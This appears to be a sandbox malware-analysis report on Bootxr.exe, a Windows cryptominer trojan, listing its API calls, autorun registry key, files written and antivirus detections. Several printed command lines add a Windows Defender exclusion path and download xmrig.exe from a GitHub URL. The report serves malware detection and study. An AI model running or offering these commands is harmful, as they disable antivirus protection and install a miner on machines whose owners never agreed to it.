NtAllocateVirtualMemory Feb. 24, 2025, 3:03 p.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05044000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (4 events)

cmdline	cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR"
cmdline	cmd /c powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/xmrig.exe -Outfile C:\WinXRAR\xmrig.exe
cmdline	powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR"
cmdline	powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/xmrig.exe -Outfile C:\WinXRAR\xmrig.exe

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Feb. 24, 2025, 3:03 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Feb. 24, 2025, 3:03 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR"
cmdline	powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR"

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\GUTDSRESW

reg_value

"C:\Users\test22\AppData\Local\Temp\Bootxr.exe"

A stratum cryptocurrency mining command was executed (2 events)

cmdline	cmd /c powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/xmrig.exe -Outfile C:\WinXRAR\xmrig.exe
cmdline	powershell Invoke-WebRequest -Uri https://github.com/Lean789/rueht/blob/main/xmrig.exe -Outfile C:\WinXRAR\xmrig.exe

Creates a suspicious Powershell process (2 events)

option	-noninteractive				value	Prevents creating an interactive prompt for the user
option	-noninteractive				value	Prevents creating an interactive prompt for the user

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

File has been identified by 53 AntiVirus engines on VirusTotal as malicious (50 out of 53 events)

Bkav	W32.AIDetectMalware
Lionic	Trojan.Win32.Doina.4!c
Elastic	malicious (moderate confidence)
MicroWorld-eScan	Gen:Variant.Zusy.582809
CAT-QuickHeal	Trojan.Agent
Skyhigh	BehavesLike.Win32.Dropper.dh
ALYac	Gen:Variant.Doina.86150
Cylance	Unsafe
VIPRE	Gen:Variant.Doina.86150
K7AntiVirus	CryptoMiner ( 005c24be1 )
BitDefender	Gen:Variant.Zusy.582809
K7GW	CryptoMiner ( 005c24be1 )
Arcabit	Trojan.Zusy.D8E499
Symantec	Trojan Horse
ESET-NOD32	a variant of Win32/CoinMiner_AGen.F
APEX	Malicious
Avast	Win32:XMRMiner-A [Trj]
Cynet	Malicious (score: 99)
Kaspersky	HEUR:Trojan.Win32.Agent.gen
Alibaba	Trojan:Win32/CoinMiner.f7c33240
Rising	Trojan.CoinMiner!1.12718 (CLASSIC)
Emsisoft	Gen:Variant.Zusy.582809 (B)
F-Secure	Trojan.TR/Redcap.lwbaq
DrWeb	Trojan.Siggen30.59732
McAfeeD	ti!9DF0A6E74330
Trapmine	suspicious.low.ml.score
CTX	exe.trojan.generic
Sophos	Mal/Generic-S
SentinelOne	Static AI - Malicious PE
FireEye	Gen:Variant.Zusy.582809
Google	Detected
Avira	TR/Redcap.lwbaq
Antiy-AVL	GrayWare/Win32.Wacapew
Kingsoft	Win32.Trojan.Agent.gen
Gridinsoft	Risk.CoinMiner.C.sd!yf
Microsoft	Trojan:Win32/Wacatac.B!ml
ViRobot	Trojan.Win.Z.Doina.213504.C
ZoneAlarm	UDS:DangerousObject.Multi.Generic
GData	Gen:Variant.Zusy.582809
Varist	W32/ABMiner.CJHF-7023
AhnLab-V3	Trojan/Win.Generic.C5713344
McAfee	Artemis!70DDF4F6215E
DeepInstinct	MALICIOUS
Malwarebytes	Trojan.BitCoinMiner
Ikarus	Trojan.Win32.CoinMiner
Panda	Trj/Chgt.AD
TrendMicro-HouseCall	TROJ_GEN.R002H09BM25
Tencent	Win32.Trojan.Agent.Snkl
huorong	Trojan/CoinMiner.kg
Fortinet	Riskware/Miner

Bootxr.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All